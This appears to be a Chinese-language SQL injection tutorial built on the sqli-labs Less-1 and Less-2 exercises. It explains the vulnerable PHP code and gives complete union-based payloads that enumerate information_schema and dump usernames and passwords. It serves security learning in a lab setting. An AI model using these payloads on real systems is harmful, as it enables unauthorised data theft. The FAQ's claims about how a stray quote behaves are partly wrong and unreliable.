2026-07-02
Mysql注入
00
请注意,本文编写于 135 天前,最后修改于 110 天前,其中某些信息可能已经过时。

目录

一、先理解核心概念:什么是SQL注入
1.1 一句话解释
二、Less-1 源码逐行分析(字符型注入)
2.1 关键源码拆解
2.2 源码中的致命漏洞
三、字符型 vs 数字型:核心区别
3.1 两种注入类型的对比
3.2 为什么Less-1是字符型?
四、判断注入类型:实操方法
4.1 方法一:加单引号测试法(最常用)
步骤1:先输入正常值
步骤2:确认(加注释符)
4.2 方法二:and/or逻辑判断法
字符型测试:
数字型测试:
4.3 方法三:数学运算法(最巧妙)
五、注释符详解:-- 和 `
5.1 为什么需要注释符?
5.2 MySQL注释符种类
5.3 注释符在注入中的作用
六、联合注入(Union Injection)完整流程
6.1 第一步:判断字段数(order by)
6.2 第二步:判断显示位(union select)
6.3 第三步:爆数据库名和版本
6.4 第四步:爆表名
Schema的定义
Schema与数据库的关系
6.5 第五步:爆字段名
6.6 第六步:爆数据
七、MySQL常用函数速查表
八、information_schema 系统数据库详解
8.1 什么是information_schema?
8.2 核心表和字段
tables表(存储所有表的信息)
columns表(存储所有字段的信息)
8.3 常用查询模板
九、Less-1 vs Less-2 注入Payload对比
Less-1(字符型)
Less-2(数字型)
十、常见问题FAQ
Q1:为什么?id=1' --+正常显示就是字符型?
Q2:--+和`有什么区别?
Q3:为什么用group_concat()?
Q4:数字型注入能不能也用'测试?
Q5:LIMIT 0,1是什么意思?
十一、记忆口诀

字符型注入和数字型注入的区别,及判断方法,源码含义,Payload构造


一、先理解核心概念:什么是SQL注入

1.1 一句话解释

SQL注入的本质就是:用户输入的内容被当成SQL代码执行了。

正常情况下,用户输入的id=1应该只是作为"数据"去数据库里查找id=1的那条记录。但如果网站没做过滤,用户输入的恶意内容就会被拼接到SQL语句中,变成数据库命令的一部分。


二、Less-1 源码逐行分析(字符型注入)

你提供的源码是Less-1,标题写着 Error Based - String(基于报错的字符型注入)。

2.1 关键源码拆解

php
if(isset($_GET['id'])) // ① 检查URL里有没有id参数 { $id=$_GET['id']; // ② 把URL里的id值取出来,直接赋值给$id变量 // 下面这行是核心中的核心!!! $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // ③ 把$id直接拼接到SQL语句中,注意$id两边有单引号 ' ' echo $sql; // ④ 这个是自己加的,便于理解 $result=mysql_query($sql); // ⑤ 执行SQL查询 $row = mysql_fetch_array($result); // ⑥ 获取查询结果 if($row) // ⑦ 如果查到了数据,显示用户名和密码 { echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; } else // ⑧ 如果没查到,显示错误信息 { print_r(mysql_error()); // 把MySQL报错信息打印出来 } }

2.2 源码中的致命漏洞

第②行 + 第③行 = 漏洞根源:

$id是从用户输入直接拿过来的,没有任何过滤,然后直接拼到了SQL语句里。

而且注意SQL语句的构造方式:

sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1

$id被单引号 ' 包裹起来了,这就是字符型的特征。


三、字符型 vs 数字型:核心区别

3.1 两种注入类型的对比

对比项字符型注入(Less-1)数字型注入(Less-2)
源码SQLWHERE id='$id'WHERE id=$id
id两边有引号吗✅ 有单引号包裹❌ 没有引号
注入时需要闭合引号吗✅ 需要先闭合前面的引号❌ 不需要
注释后面多余引号✅ 需要注释掉后面的引号❌ 不需要
典型闭合方式1' --+1 and 1=1

3.2 为什么Less-1是字符型?

看源码这一行:

php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$id被单引号包着,说明数据库把id当字符串来处理。

Less-2的源码(数字型)是这样的:

php
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$id没有引号,说明数据库把id当数字来处理。

记住这个判断口诀:

源码里变量两边有引号 → 字符型 源码里变量两边没引号 → 数字型


四、判断注入类型:实操方法

4.1 方法一:加单引号测试法(最常用)

这是判断字符型/数字型最经典的方法。

步骤1:先输入正常值

?id=1

页面正常显示用户名密码 → 说明存在交互

步骤2:确认(加注释符)

如果是字符型,输入:

?id=1' --+

页面正常显示 → 确定是字符型

解释:

sql
-- 你输入的:1' --+ -- 拼接后:SELECT * FROM users WHERE id='1' --+' LIMIT 0,1 -- ↑前面的'闭合了 ↑--+把后面的' LIMIT 0,1都注释掉了 -- 实际执行:SELECT * FROM users WHERE id='1'

4.2 方法二:and/or逻辑判断法

字符型测试:

?id=1' and 1=1 --+ → 页面正常(真and真=真) ?id=1' and 1=2 --+ → 页面异常/无数据(真and假=假)

数字型测试:

?id=1 and 1=1 → 页面正常(真and真=真) ?id=1 and 1=2 → 页面异常/无数据(真and假=假)

注意:字符型用and测试时,两边都要加引号 '1'='1',否则会被当成字符串的一部分。

4.3 方法三:数学运算法(最巧妙)

?id=2-1

如果是数字型:MySQL会计算 2-1=1,显示id=1的数据 如果是字符型:MySQL会把2-1当成字符串,强制转换为数字2,显示id=2的数据

所以:

  • 数字型:?id=2-1 显示的是id=1的内容

图片.png

  • 字符型:?id=2-1 显示的是id=2的内容

图片.png


五、注释符详解:-- 和 #

5.1 为什么需要注释符?

在字符型注入中,源码SQL是:

sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1

我们输入1',SQL变成:

sql
SELECT * FROM users WHERE id='1' LIMIT 0,1

注意:后面还有一个多余的单引号 ' 和 LIMIT 0,1。 如果不处理掉,SQL语法还是错的!

所以我们要用注释符把后面的内容"注释掉"(变成注释,不执行)。

5.2 MySQL注释符种类

注释符写法说明
-- -- 空格单行注释,注意--后面必须有空格!
--+--+URL中+会被解析成空格,所以--+ = -- 空格
##单行注释,URL中写%23
/**//*内容*/多行注释

5.3 注释符在注入中的作用

输入:?id=1' --+

拼接后的SQL:

sql
SELECT * FROM users WHERE id='1' --+' LIMIT 0,1 -- ↑闭合 ↑--+把后面都注释掉了

实际执行:

sql
SELECT * FROM users WHERE id='1'

六、联合注入(Union Injection)完整流程

联合注入的前提是:页面有回显(能把查询结果显示在页面上)。

6.1 第一步:判断字段数(order by)

?id=1' order by 1 --+ → 正常 ?id=1' order by 2 --+ → 正常 ?id=1' order by 3 --+ → 正常 ?id=1' order by 4 --+ → 报错(Unknown column '4')

结论:表有3个字段。

原理:order by是按第N列排序。如果列数超过实际字段数,就会报错。

6.2 第二步:判断显示位(union select)

?id=-1' union select 1,2,3 --+

union 是纵向拼接两张表,它有个强制要求:前后两张表的列数必须完全一致。 为什么用-1而不是1?

图片.png

因为union会把两个查询结果合并显示。如果id=1能查到数据,页面会显示id=1的结果,我们注入的union select结果就被"挤"到后面去了,看不到。

图片.png

用-1(数据库里不存在id=-1),第一个查询查不到数据,页面就会显示union select的结果。

显示位判断:页面上出现2和3,说明第2列和第3列的数据会显示在页面上。

6.3 第三步:爆数据库名和版本

?id=-1' union select 1,database(),version() --+
  • database():返回当前数据库名 → security
  • version():返回MySQL版本 → 5.7.26

6.4 第四步:爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

解释这条SQL:

  • information_schema:MySQL的系统数据库(元数据库),存储了所有数据库的结构信息
  • information_schema.tables:系统库中的tables表,存储了所有表的信息
  • table_schema='security':筛选数据库名为security的表
  • table_name:表名字段
  • group_concat():把多个结果用逗号连接成一串

Schema的定义

在数据库术语中,schema(模式)是一个逻辑概念,用于组织数据库中的对象,包括表、视图、索引、存储过程、函数、主键、外键等。可以把schema理解为数据库中的“文件夹”,用于分类和隔离不同的对象,实现逻辑上的组织和权限控制 。

Schema与数据库的关系

MySQL:在MySQL中,schema和database是同义词,语法上CREATE SCHEMA和CREATE DATABASE作用相同 。也就是说,在MySQL里,创建一个数据库就相当于创建了一个schema。

PostgreSQL:一个数据库可以包含多个schema,每个schema可以包含表、视图等对象。schema提供命名空间,用于区分不同对象,查询时可以显式指定schema名称 。 Oracle:schema与用户绑定,每个用户对应一个schema,用户名就是schema名。schema中的对象都属于该用户,管理schema实际上就是管理用户 。

SQL Server:从SQL Server 2005开始,schema与数据库用户分离,schema是独立的命名空间,用户可以有默认schema,但schema本身是独立对象 TencentTencent。

结果:emails,referers,uagents,users

6.5 第五步:爆字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

图片.png 解释这条SQL:

  • information_schema.columns:系统库中的columns表,存储了所有字段的信息
  • table_name='users':筛选表名为users的字段
  • column_name:字段名字段

结果:id,username,password

为什么有 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS?

因为只限定了表名,没限定数据库名

6.6 第六步:爆数据

?id=-1' union select 1,2,group_concat(username,':',password) from users --+

图片.png 结果:Dumb:Dumb,Angelina:I-kill-you,Dirty:Dirty

到此就结束了,然后后面的3-4本质上还是判断是什么样的闭合方式

七、MySQL常用函数速查表

函数作用示例
database()返回当前数据库名security
version()返回MySQL版本5.7.26
user()返回当前数据库用户root@localhost
@@datadir返回数据文件路径/var/lib/mysql/
@@version_compile_os返回操作系统linux
group_concat()将多行结果用逗号连接a,b,c
concat()将多个字符串连接admin:123456
concat_ws()用指定分隔符连接`admin
length()返回字符串长度length('abc')=3
substr()截取字符串substr('abc',1,1)='a'
ascii()返回字符的ASCII码ascii('A')=65

八、information_schema 系统数据库详解

8.1 什么是information_schema?

information_schema是MySQL 5.0+自带的元数据库(metadata database),它存储了MySQL服务器上所有数据库的"结构信息"——比如有哪些数据库、每个数据库有哪些表、每个表有哪些字段等。

重要:只有MySQL 5.0以上版本才有这个库,5.0以下只能靠猜表名和字段名。

8.2 核心表和字段

tables表(存储所有表的信息)

字段名含义
table_schema表所属的数据库名
table_name表名
table_type表类型(BASE TABLE/VIEW)

columns表(存储所有字段的信息)

字段名含义
table_schema字段所属的数据库名
table_name字段所属的表名
column_name字段名
data_type字段数据类型

8.3 常用查询模板

sql
-- 查所有数据库名 SELECT schema_name FROM information_schema.schemata; -- 查security数据库下的所有表名 SELECT table_name FROM information_schema.tables WHERE table_schema='security'; -- 查users表下的所有字段名 SELECT column_name FROM information_schema.columns WHERE table_name='users'; -- 查security数据库下users表的所有字段名(更精确) SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users';

九、Less-1 vs Less-2 注入Payload对比

Less-1(字符型)

?id=1' and 1=1 --+ → 正常 ?id=1' and 1=2 --+ → 异常(确认字符型) ?id=1' order by 3 --+ → 正常 ?id=1' order by 4 --+ → 报错(字段数=3) ?id=-1' union select 1,2,3 --+ ?id=-1' union select 1,database(),version() --+ ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ ?id=-1' union select 1,2,group_concat(username,':',password) from users --+

Less-2(数字型)

?id=1 and 1=1 → 正常 ?id=1 and 1=2 → 异常(确认数字型) ?id=1 order by 3 --+ → 正常 ?id=1 order by 4 --+ → 报错(字段数=3) ?id=-1 union select 1,2,3 --+ ?id=-1 union select 1,database(),version() --+ ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ ?id=-1 union select 1,2,group_concat(username,':',password) from users --+

核心区别:数字型不需要闭合引号,不需要'和--+来注释后面的引号。


十、常见问题FAQ

Q1:为什么?id=1' --+正常显示就是字符型?

因为字符型源码是 id='$id',你输入1' --+,SQL变成:

sql
SELECT * FROM users WHERE id='1' --+' LIMIT 0,1

--+把后面的' LIMIT 0,1都注释掉了,实际执行WHERE id='1',语法正确,查到id=1的数据,页面正常。

如果是数字型源码 id=$id,输入1' --+,SQL变成:

sql
SELECT * FROM users WHERE id=1' --+ LIMIT 0,1

1'不是合法数字,MySQL会报错或强制转换,页面不会正常显示。

Q2:--+和#有什么区别?

都是注释符,效果一样。--+在URL中更方便(+自动转空格),#在URL中要写%23。

Q3:为什么用group_concat()?

因为union select只能显示一行结果。如果有多行数据(比如多个表名),不用group_concat()就只能显示第一个。group_concat()把所有结果用逗号连成一串,一次性显示出来。

Q4:数字型注入能不能也用'测试?

可以,但效果不同:

  • 数字型:?id=1' → MySQL会把1'强制转成1,页面可能正常显示
  • 字符型:?id=1' → 语法错误,页面报错

所以加'报错→字符型,'不报错→可能是数字型(需要进一步用and/or确认)。

Q5:LIMIT 0,1是什么意思?

LIMIT 0,1表示从第0条开始,取1条数据。也就是只返回第一条结果。


十一、记忆口诀

字符型:有引号,要闭合,后面注释要跟上 数字型:没引号,直接拼,and/or来验证 判断法:加引号,看报错,报错就是字符型 查字段:order by,从小到大试 查显示位:union select,负数id让位 爆数据:information_schema是宝藏,tables查表columns查字段